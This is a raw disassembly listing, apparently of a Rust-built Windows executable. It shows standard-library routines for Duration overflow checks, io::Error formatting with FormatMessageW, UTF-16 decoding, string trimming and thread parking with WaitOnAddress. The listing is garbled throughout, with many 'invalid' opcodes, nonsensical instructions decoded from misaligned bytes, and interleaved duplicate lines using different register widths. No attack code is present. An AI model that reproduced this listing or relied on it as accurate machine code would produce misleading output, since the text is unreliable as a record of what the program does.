lea r10d, [rsi + 0x3b9aca00]
lea edx, [rsi + 0x3b9aca00]
add dl, cl
retf 0x3b9a
invalid
sub r10d, ecx
retf 0x8141
cmp r10d, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rbx + 0x11]
jae 0x1400d68ac
jmp case.0x1400c6a2c.318
mov r10d, esi
sub r10d, ecx
sub r10d, ecx
sub edx, ecx
cmp r10d, 0x3b9aca00
cli
add dl, cl
retf 0x3b9a
invalid
cmp esi, dword [rdx + 0x25]
jb case.0x1400c6a2c.318
mov r11d, r10d
mov ebx, edx
rol dword [rcx - 0x3f], cl
shr r11d, 9
imul r11, r11, 0x44b83
imul ebx, ebx, 0x44b83
jmp 0x1400d68bc
imul ebx, ebx, 0x44b83
fild dword [rbx + 0x4900044b]
add byte [rcx - 0x3f], cl
jmp case.0x1400b9f4a.333
invalid
shr r11, 0x27
shr ebx, 0x27
invalid
add r9, r11
jb case.0x1400b56c9.375
invalid
add byte [rax], al
imul r11d, r11d, 0x3b9aca00
imul ebx, ebx, 0x3b9aca00
fild dword [rax]
retf 0x3b9a
invalid
invalid
invalid
cmp eax, dword [rbp + 0x29]
sub r10d, r11d
fiadd dword [rbp + 0x31]
fisttp dword [rbp + 0x39]
cmp r9, r8
invalid
invalid
xchg ebp, eax
xor r11d, r11d
cmp r9, r8
cmp ecx, eax
setne r11b
setne bl
xchg ebp, eax
ret
mov r8d, 0xff
mov eax, 0xff
inc dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xf], al
fadd dword [rbp + 0x31]
fadd dword [rbp + 0x31]
cmovb r11d, r8d
xor r9d, r9d
xor ecx, ecx
leave
cmp r10d, edx
cmp edx, edx
setne r9b
cmovb r9d, r8d
cmovb ecx, eax
xchg ebp, eax
rol dword [rbp + 0xf], 0x42
invalid
invalid
cmovb ecx, eax
enter 0xffffffffffff8445, 0xffffffffffffffdb
enter 0xffffffffffff8445, 0xffffffffffffffdb
test r11b, r11b
test bl, bl
fild dword [rbp + 0xf]
retf
retf
cmovne r9d, r11d
cmp r9b, 1
cmp cl, 1
retf
cmp cl, 1
add dword [rbp + 0x49], esi
jne case.0x1400c6a2c.286
mov edx, 0x3b9aca00
add dl, cl
invalid
retf 0x3b9a
cmp ecx, dword [rax + 0x29]
clc
sub rax, rdi
jae case.0x1400aaffb.399
add ch, bl
cmp r9d, esi
cmp ecx, esi
jmp case.0x1400c6a2c.302
cmp ecx, esi
int1
jae 0x1400d691e
test rax, rax
test eax, eax
sal byte [rbp + rsi*8 + 0x48], 0xff
enter 0xffffffffffffc181, 0
rol dword [rax], 0xca
invalid
invalid
je case.0x14009f75c.452
dec rax
add ecx, 0x3b9aca00
rol dword [rax], 0xca
invalid
invalid
rol dword [rax], 0xca
invalid
cmp ecx, dword [rcx - 0x7e0dd636]
cli
add dl, cl
invalid
invalid
mov edx, ecx
sub edx, esi
cmp edx, 0x3b9aca00
cmp edx, 0x3b9aca00
retf 0x3b9a
jb case.0x1400c6a2c.302
and ecx, dword [rcx + 0x9e9c1d1]
mov ecx, edx
shr ecx, 9
invalid
invalid
jmp 0x10976b13b
imul rcx, rcx, 0x44b83
imul ecx, ecx, 0x44b83
leave
or dword [rbx + 4], 0
add al, 0
add al, 0
add byte [rax - 0x3f], cl
jmp 0x1080eb164
invalid
add rax, rcx
shr rcx, 0x27
add rax, rcx
invalid
jb case.0x1400b56c9.375
imul ecx, ecx, 0x3b9aca00
add dl, cl
invalid
sub edx, ecx
jmp case.0x1400c6a2c.302
invalid
add al, 0x31
sal byte [rcx], 0xd2
invalid
xor eax, eax
xor edx, edx
invalid
ror byte [rax - 0x7d], cl
invalid
add rsp, 0x68
push 0x5d5e5f5b
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.library_std_src_syspalwindows_time.rs
or eax, 0x70ec3
ret
call fcn.1401048a0
add byte [rax - 0x73], cl
lea rcx, str.overflow_when_subtracting_durations
or eax, 0x70e50
push rax
invalid
add byte [rbp + rcx*4 + 5], cl
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
jo case.0x14009f75c.593
invalid
invalid
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
invalid
add al, ch
out 0xe0, al
call fcn.140104a60
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, str.overflow_in_Duration::new
add eax, 0x6eadf
fucompi st(2)
invalid
add byte [rax - 0x77], cl
enter 0xffffffffffffc748, 0x45
enter 0xffffffffffffc748, 0x45
mov qword [rbp - 0x38], rax
enter 0xffffffffffffc748, 0x45
mov qword [rbp - 0x30], 1
rol byte [rcx], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0x98dd4
invalid
lea ecx, [rcx]
invalid
lea rax, [0x14016f768]
lea eax, [0x14016f768]
invalid
mov qword [rbp - 0x28], rax
fmul dword [r15]
push rdi
ror byte [rdi], 0x11
adc dword [rbp - 0x20], eax
invalid
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
adc dword [rbp - 0x20], eax
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea edx, [0x1401454b8]
invalid
lea rcx, [rbp - 0x38]
enter 0x71e8, 0xffffffffffffffdc
add al, byte [rax]
call fcn.140104620
fadd qword [rdx]
add bh, bh
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x38953
add byte [rax - 0x3f], cl
loopne 0x1400d69d9
invalid
shl rax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
add cl, byte [rax - 0x77]
or rax, 2
or eax, 2
add cl, byte [rax - 0x77]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
enter 0xffffffffffff8d48, 5
jo case.0x1400a9a80.500
lea rax, str.library_std_src_syspalwindows_time.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
invalid
lea r9, fcn.1400d49e0
or eax, 0x6eb9d
jmp case.0x1400aadb0.525
invalid
lea r8, [rbp - 0x38]
lea eax, [rbp - 0x38]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
call fcn.1401049b0
ud2
invalid
fild word [rdx]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x56], dl
adc byte [rbp + 0x56], dl
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x60
invalid
sub byte [rax - 0x73], cl
push 0x60
invalid
lea ebp, [rdx + 0x60]
invalid
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
call fcn.1400d49e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
invalid
invalid
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add dh, bh
invalid
dec dword [rax - 0x77]
invalid
mov rsi, rdx
mov rdi, qword [rcx]
mov eax, edi
clc
clc
and eax, 3
loopne 0x1400d6a43
lea rcx, [0x1401750bc]
or eax, 0x9e675
out 9, al
add byte [rax + 0x63], cl
invalid
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, str.Errorcode
adc eax, 0x98d76
lea ecx, [rcx]
add byte [rcx - 0x48], al
mov eax, 5
invalid
mov r8d, 5
mov eax, 5
add bh, bh
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
call 0x140f6b039
jmp 0x18f9ab676
add byte [rbp + rcx*4 + 0x4f], cl
adc byte [rax - 0x73], cl
lea eax, [0x140146038]
lea r9, [rdi + 0x10]
lea ecx, [rdi + 0x10]
lea rax, [0x140146038]
lea eax, [0x140146038]
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.kind
lea edx, str.kind
cmpsb byte [rsi], byte [rdi]
cmc
invalid
lea rsi, [rbp - 0x20]
jne case.0x1400b7cfb.476
mov r8d, 4
add al, 0
add byte [rax], al
mov rcx, rsi
call fcn.1400144f0
push rsp
invalid
invalid
invalid
push rsp
invalid
lea rax, [0x140146080]
add eax, 0x6f5dd
cmc
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, str.message
mov r8d, 7
mov eax, 7
lea ecx, [rcx]
add byte [rcx - 0x48], al
invalid
invalid
mov eax, 7
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
mov r9, rdi
call fcn.1400144f0
xor dl, bl
invalid
invalid
xor dl, bl
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
movzx ecx, byte [rbp - 0x18]
invalid
invalid
invalid
invalid
cmp byte [rbp - 0x17], 0
movzx ecx, byte [rbp - 0x18]
je 0x1400d6cdb
or eax, 0xb0000002
add dword [rcx + rcx*8 + 0x3c3850f], eax
test cl, cl
jne 0x1400d6e9b
ret
add eax, dword [rax]
invalid
add byte [rax], al
mov al, 1
test cl, cl
jne 0x1400d6e9b
ret
add eax, dword [rax]
invalid
ret
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
jne 0x1400d6cbe
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x6a4c4
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x6a4c4
movsb byte [rdi], byte [rsi]
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
jmp 0x1400d6e9b
add eax, dword [rax]
invalid
push rax
sbb cl, ch
cwde
add eax, dword [rax]
add byte [rax - 0x3f], cl
shr rdi, 0x20
mov dword [rbp - 0x24], edi
invalid
invalid
shr rdi, 0x20
shr edi, 0x20
mov dword [rbp - 0x24], edi
jge 0x1400d6ae6
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x6f4f4
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x6f4f4
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
jne 0x1400d6aee
mov byte [rbp - 0x30], al
rol dh, 1
rol dword [r8], 1
invalid
rol dh, 1
rol dword [r8], 1
invalid
add byte [rax - 0x73], cl
add eax, 0x6f4dc
fdivr st(4), st(0)
invalid
invalid
lea rax, [0x140146010]
fdivr st(4), st(0)
invalid
mov qword [rsp + 0x20], rax
lea rdx, [0x14016f7da]
invalid
mov word [rcx], cs
invalid
and byte [rax - 0x73], cl
adc eax, 0x98c9a
invalid
mov word [rcx], cs
invalid
invalid
lea rsi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
int1
call fcn.1400144f0
mov ecx, dword [rbp - 0x24]
fsub st(0), st(0)
xchg edx, eax
add eax, dword [rax]
add byte [rax - 0x72b700bb], cl
add eax, 0x6f4d0
sal ah, 1
invalid
invalid
dec dword [rbx - 0x6d1723b3]
fsub st(0), st(0)
xchg edx, eax
add eax, dword [rax]
add byte [rax - 0x72b700bb], cl
add eax, 0x6f4d0
sal ah, 1
invalid
invalid
mov qword [rsp + 0x20], rax
lea rdx, str.kind
lea r9, [rbp - 1]
mov r8d, 4
add byte [rax], al
add byte [rax], al
mov rcx, rsi
int1
call fcn.1400144f0
mov edx, dword [rbp - 0x24]
fmul qword [rax - 0x73]
jge 0x1400d6b6d
dec dword [rbx - 0x72b723ab]
fmul qword [rax - 0x73]
jge 0x1400d6b6d
loopne 0x1400d6bd6
mov rcx, rdi
mov ecx, edi
call fcn.1400d70b0
lea rax, [0x140146058]
invalid
hlt
invalid
invalid
add byte [rax - 0x73], cl
add eax, 0x6f4bc
invalid
hlt
invalid
invalid
mov qword [rsp + 0x20], rax
lea rdx, str.message
pop rax
mov word [rcx], cs
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov r9, rdi
call fcn.1400144f0
cmp byte [rbp - 0x2f], 0
movzx ecx, byte [rbp - 0x30]
je 0x1400d6ce2
mov al, 1
test cl, cl
jne 0x1400d6d0b
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
xor al, 4
jne 0x1400d6cf3
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
mov r8d, 2
call qword [rax + 0x18]
jmp 0x1400d6d0b
shr rdi, 0x20
cmp edi, 0x28
ja case.0x1400d6a4e.17
lea rax, [0x1401750cc]
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
jmp rcx
xor eax, eax
jmp 0x1400d6def
lea rax, [rdi - 1]
add rdi, 0xf
mov qword [rbp - 0x38], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Customerror
mov r8d, 6
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
lea rax, [0x140146038]
mov qword [rsp + 0x20], rax
lea rdx, str.kind
lea rsi, [rbp - 0x20]
mov r8d, 4
mov rcx, rsi
mov r9, rdi
call fcn.1400144f0
lea rax, [0x1401460b0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1401460a6]
lea r9, [rbp - 0x38]
mov r8d, 5
mov rcx, rsi
call fcn.1400144f0
cmp byte [rbp - 0x17], 0
movzx ecx, byte [rbp - 0x18]
je 0x1400d6cdb
mov al, 1
test cl, cl
jne 0x1400d6e9b
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
je 0x1400d6ae6
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d6e9b
test cl, cl
jmp 0x1400d6e98
test cl, cl
setne al
cmp qword [rbp - 0x20], 0
jne 0x1400d6d19
jmp 0x1400d6e9b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
mov byte [rbp - 0x30], al
cmp qword [rbp - 0x20], 0
je 0x1400d6e9b
mov r8, qword [rbp - 0x18]
mov rcx, qword [0x14017d208]
xor edx, edx
ror byte [rcx - 0x2dea003d], cl
xchg byte [rbx], al
add eax, dword [rax]
ror byte [rcx - 0x2dea003d], cl
xchg byte [rbx], al
add eax, dword [rax]
mov eax, ebx
invalid
invalid
invalid
add eax, dword [rax]
mov eax, ebx
jmp 0x1400d6e9b
add byte [rax], al
add byte [rax], al
mov al, 0x25
jmp 0x1400d6def
add byte [rax], al
add byte [rax], al
mov al, 0x23
jmp 0x1400d6def
add byte [rax], al
add byte [rax], al
mov al, 0x24
jmp 0x1400d6def
add byte [rax], al
add byte [rax], al
mov al, 0x1b
jmp 0x1400d6def
add byte [rax], al
add byte [rax], al
mov al, 0x22
jmp 0x1400d6def
add byte [rax], al
add byte [rax], al
mov al, 0x10
jmp 0x1400d6def
add byte [rax], al
add byte [rax], al
mov al, 0xe
jmp 0x1400d6def
add byte [rax + 0x82e921], dh
add byte [rax], al
mov al, 0x21
jmp 0x1400d6def
invalid
add byte [rax], al
invalid
invalid
mov al, 0xb
jmp 0x1400d6def
mov al, 4
jmp 0x1400d6def
mov al, 0x28
jmp 0x1400d6def
mov al, 0xc
jmp 0x1400d6def
mov al, 9
jmp 0x1400d6def
mov al, 0x19
jmp 0x1400d6def
mov al, 0x18
jmp 0x1400d6def
mov al, 2
jmp 0x1400d6def
mov al, 0xf
jmp 0x1400d6def
mov al, 3
jmp 0x1400d6def
mov al, 7
jmp 0x1400d6def
mov al, 1
jmp 0x1400d6def
mov al, 0x1f
jmp 0x1400d6def
mov al, 0x11
jmp 0x1400d6def
mov al, 0x29
jmp 0x1400d6def
mov al, 0x14
jmp 0x1400d6def
mov al, 5
jmp 0x1400d6def
mov al, 0x15
jmp 0x1400d6def
mov al, 0xd
jmp 0x1400d6def
mov al, 6
jmp 0x1400d6def
mov al, 0x12
jmp 0x1400d6def
mov al, 0xa
jmp 0x1400d6def
mov al, 8
jmp 0x1400d6def
mov al, 0x1e
jmp 0x1400d6def
mov al, 0x20
jmp 0x1400d6def
mov al, 0x16
jmp 0x1400d6def
mov al, 0x27
jmp 0x1400d6def
mov al, 0x13
jmp 0x1400d6def
mov al, 0x17
jmp 0x1400d6def
mov al, 0x1c
jmp 0x1400d6def
mov al, 0x1d
jmp 0x1400d6def
mov al, 0x26
jmp 0x1400d6def
mov al, 0x1a
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Kind
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x6f277
mov r8d, 4
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
mov byte [rbp - 0xf], 0
lea r8, [0x140146038]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.140016520
mov rcx, qword [rbp - 0x20]
movzx edx, byte [rbp - 0x10]
test rcx, rcx
je case.0x1400d6a4e.45
mov al, 1
test dl, dl
jne case.0x1400d6a4e.48
mov rsi, qword [rbp - 0x18]
cmp rcx, 1
jne 0x1400d6e7a
cmp byte [rbp - 0xf], 0
je 0x1400d6e7a
test byte [rsi + 0x34], 4
jne 0x1400d6e7a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne case.0x1400d6a4e.48
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
mov r8d, 1
call qword [rax + 0x18]
jmp case.0x1400d6a4e.48
mov eax, edx
test al, al
setne al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
adc eax, 0xf000017
invalid
test byte [rbx], al
add dword [rax], eax
add byte [rcx + 0x476f9], al
add byte [rbp + 0x65], dh
invalid
mov al, 0x20
pop rbp
ret
je case.0x1400d6f46.121
jmp case.0x1400d6f46.4
cmp ecx, 0x3e3
je case.0x1400d6f46.121
cmp ecx, 0x41d
je case.0x1400d6f46.121
cmp ecx, 0x461
je case.0x1400d6f46.121
jmp case.0x1400d6f46.4
mov al, 0x28
pop rbp
ret
mov al, 0x16
pop rbp
ret
shl edx, 0x10
mov rdi, rcx
shr rdx, 0x10
mov rcx, rbx
call fcn.1400111d0
invalid
invalid
dec dword [rcx + rdi - 9]
cmp rdi, r14
je 0x1400d72f7
test byte [rcx + rax], cl
add byte [rax], al
lea rcx, [rdi + 2]
movzx eax, word [rdi]
movzx edx, ax
mov r8d, eax
and r8d, 0xf800
loopne case.0x1400978a6.822
clc
add byte [rax], al
loopne case.0x1400978a6.822
cmp r8d, 0xd800
cmp eax, 0xd800
clc
add al, bl
fadd dword [rax]
invalid
jne 0x1400d71d0
cmp edx, 0xdbff
ja 0x1400d7334
cmp rcx, r14
cmp ecx, esi
je 0x1400d7334
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x11
movzx edx, word [rcx]
lea ecx, [rdx + 0x2000]
movzx ecx, cx
mov al, byte [rax]
and byte [rax], al
add byte [rdi], cl
mov bh, 0xc9
cmp ecx, 0xfc00
jb 0x1400d7334
invalid
add byte [rax - 0x7d], cl
mov dword [0x3ff], 0x3ffe281
add byte [rax], al
add rdi, 4
and eax, 0x3ff
and edx, 0x3ff
shl rax, 0x1a
shl edx, 0x10
or rdx, rax
add rdx, r15
jmp 0x1400d71d6
adc eax, 0x380af
mov dword [rbp + 0x1038], eax
lea rax, [rbp + 0x103c]
mov qword [rbp + 0xfc0], rax
lea rax, [0x140019830]
mov qword [rbp + 0xfc8], rax
lea rcx, [rbp + 0x1038]
mov qword [rbp + 0xfd0], rcx
mov qword [rbp + 0xfd8], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
add eax, 0x70031
add eax, 0x70031
mov qword [rbp + 0x1008], rax
mov dword [rbp + 0x1008], eax
mov qword [rbp + 0x1010], 3
mov qword [rbp + 0x1028], 0
mov dword [rbp + 0x1028], 0
sub byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub byte [rax], dl
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test eax, eax
lea rax, [rbp + 0xfc0]
sldt word [rax]
mov qword [rbp + 0x1018], rax
mov qword [rbp + 0x1020], 2
and byte [rax], dl
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0xfe0]
lea rdx, [rbp + 0x1008]
add byte [rax - 0x73], cl
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
call fcn.140010f10
mov rax, qword [rbp + 0xff0]
sldt word [rax]
dec dword [rax - 0x75]
test eax, esi
sldt word [rax]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfe0]
add byte [rax], al
add byte [rax], al
jmp 0x1400d73d2
add byte [rbx + rcx*4 - 0x4b], cl
or byte [rax], dl
add byte [rax], al
mov r14, qword [rbp + 0x1008]
movabs rax, 0x8000000000000000
cmp r14, rax
invalid
je 0x1400d7354
add byte [rax], al
add byte [rax + 0x74c63949], al
invalid
je 0x1400d7354
mov rbx, qword [rbp + 0x1010]
invalid
mov rbx, qword [rbp + 0x1010]
adc byte [rax], al
add byte [rax - 0x75], cl
lea ebx, [rax]
mov rcx, qword [rbp + 0x1018]
test rcx, rcx
adc byte [rax], al
add byte [rax - 0x7b], cl
leave
je 0x1400d74f9
lea r8, [rbx + rcx]
lea eax, [rbx + rcx]
lea rdx, [0x1401455f8]
jmp 0x1400d7409
add byte [rax], al
add byte [rax], al
cmp qword [rbp + 0x1008], 0
je 0x1400d7354
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x1010]
adc byte [rax], al
invalid
mov r8, qword [rbp + 0x1010]
add byte [rax - 0x75], cl
or eax, 0xa5ebc
invalid
pop rsi
or al, byte [rax]
mov rcx, qword [0x14017d208]
mov esp, 0x31000a5e
xor edx, edx
sar bh, cl
adc eax, 0x380ac
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rbp + 0x103c]
mov qword [rbp + 0xfe0], rax
mov dword [rbp + 0xfe0], eax
adc byte [rax], al
add byte [rax - 0x77], cl
mov dword [rbp + 0xfe0], eax
lea rax, [0x140019830]
mov qword [rbp + 0xfe8], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
call 0x1880d7380
lea eax, [0x140147368]
mov qword [rbp + 0x1008], rax
mov qword [rbp + 0x1010], 2
mov qword [rbp + 0x1028], 0
sub byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], edx
adc byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebp
sub byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0xfe0]
sub byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0xfe0]
mov qword [rbp + 0x1018], rax
mov dword [rbp + 0x1018], eax
mov qword [rbp + 0x1020], 1
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
invalid
lea rcx, [rbp + 0xfc0]
lea rdx, [rbp + 0x1008]
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
add byte [rax - 0x73], cl
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
call fcn.140010f10
mov rax, qword [rbp + 0xfd0]
mov eax, dword [rbp + 0xfd0]
push rax
wait
dec dword [rax - 0x75]
mov eax, dword [rbp + 0xfd0]
mov eax, dword [rbp + 0xfd0]
ror byte [rdi], 1
add byte [rax], al
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfc0]
add byte [rax], al
adc byte [rdi], cl
adc byte [rbp + 0xfc0], al
add byte [rax], al
add byte [rax], al
movups xmmword [rsi], xmm0
add rsp, 0x10c8
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
invalid
pop rsi
pop r15
pop rbp
ret
movzx r9d, r9b
movzx r9d, byte [r9 + rdx]
mov dh, 0xc
invalid
mov dh, 0xc
adc dword [rcx - 0x30], eax
shr r9b, 1
and r9b, 1
shr r9b, 1
and r9b, 1
test r9b, r9b
je 0x1400d750b
invalid
add dword [rax], eax
invalid
or eax, 0x66000001
nop
nop
cmp r8, rbx
je 0x1400d74f9
fmul dword [rdi]
test al, dh
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
movzx r9d, byte [r8 - 1]
test r9b, r9b
js 0x1400d7420
lea r8, [rax - 1]
movzx r9d, r9b
movzx ecx, cl
movzx ecx, cl
jmp 0x1400d7482
movzx r10d, byte [rax - 2]
cmp r10b, 0xc0
jge 0x1400d744d
movzx r11d, byte [rax - 3]
std
cmp r11b, 0xbf
jg 0x1400d7457
lea r8, [rax - 4]
movzx edi, byte [rax - 4]
and edi, 7
shl edi, 6
and r11d, 0x3f
jrcxz 0x1400d7487
or r11d, edi
jmp case.0x1400b9f4a.673
lea r8, [rax - 2]
and r10d, 0x1f
jmp case.0x14001a36d.3343
lea r8, [rax - 3]
lea eax, [rax - 3]
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
shl r10d, 6
and r9b, 0x3f
movzx r9d, r9b
movzx ecx, cl
movzx ecx, cl
or r9d, r10d
cmp r9d, 0x110000
je 0x1400d74f9
lea r10d, [r9 - 9]
cmp r10d, 5
cmp edx, 5
jb case.0x1400b5866.687
cmp r9d, 0x20
je case.0x1400b5866.687
cmp r9d, 0x80
jb 0x1400d750b
mov r10d, r9d
shr r10d, 8
cmp r10d, 0x1f
jg 0x1400d74cb
test r10d, r10d
je 0x1400d74eb
cmp r10d, 0x16
jne 0x1400d750b
cmp r9d, 0x1680
sete r9b
jmp 0x1400d73f5
cmp r10d, 0x20
je 0x1400d73e5
cmp r10d, 0x30
jne 0x1400d750b
cmp r9d, 0x3000
sete r9b
jmp 0x1400d73f5
invalid
invalid
invalid
invalid
movzx r9d, r9b
movzx r9d, byte [r9 + rdx]
jmp 0x1400d73f1
xor eax, eax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rax
jmp 0x1400d73d5
sub rax, rbx
cmp rcx, rax
jae 0x1400d7518
mov rax, rcx
jmp 0x1400d74fb
test rax, rax
je 0x1400d74fb
cmp rcx, rax
jbe 0x1400d74fb
cmp byte [rbx + rax], 0xbf
jg 0x1400d74fb
mov qword [rbp + 0xff8], r14
mov qword [rbp + 0x1000], rbx
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_O
lea r8, [0x14016ed18]
mov edx, 0x30
call fcn.1401046f0
ud2
enter 0x148, 0xffffffffffffffe9
add rcx, 0xffffffffffffffb8
sar dword [rax + 0x24448948], 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov ecx, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400d78c0
call fcn.140012db0
nop
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov dword [rbp - 8], 0xfffffffe
mov ebx, edx
mov r14, rcx
call fcn.1400d6580
dec dword [rax - 0x77]
invalid
test rax, rax
je 0x1400d79ac
add byte [rax], al
dec dword [rax - 0x77]
invalid
lock dec byte [rsi + 0x28]
je 0x1400d7988
sub byte [rbp + riz*2 + 0x48], dh
mov edi, esi
mov rdi, rsi
add rdi, 0x28
mov ecx, 0x3e8
mov rax, r14
mov eax, esi
mov eax, esi
mul rcx
mov r9d, 0xffffffff
jo 0x1400d796e
mov ecx, ebx
imul rcx, rcx, 0x431bde83
imul ecx, ecx, 0x431bde83
imul ecx, ecx, 0x431bde83
shr rcx, 0x32
add rax, rcx
jb 0x1400d796e
imul ecx, ecx, 0xf4240
xor edx, edx
sub ebx, ecx
setne dl
add rax, rdx
jb 0x1400d796e
mov r9d, 0xffffffff
cmp rax, r9
cmovb r9, rax
lea rdx, [0x1401477b8]
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor eax, eax
xchg byte [rdi], al
lock dec qword [rsi]
jne 0x1400d79a0
mov rcx, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1400d3c40
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140145a70]
mov edx, 0x5e
call fcn.140104a60
ud2
lea ebp, [rdx + 0x30]
call fcn.1400d3ca0
int3
test ecx, ecx
je 0x1400d7bfe
and byte [rax - 0x75], r9b
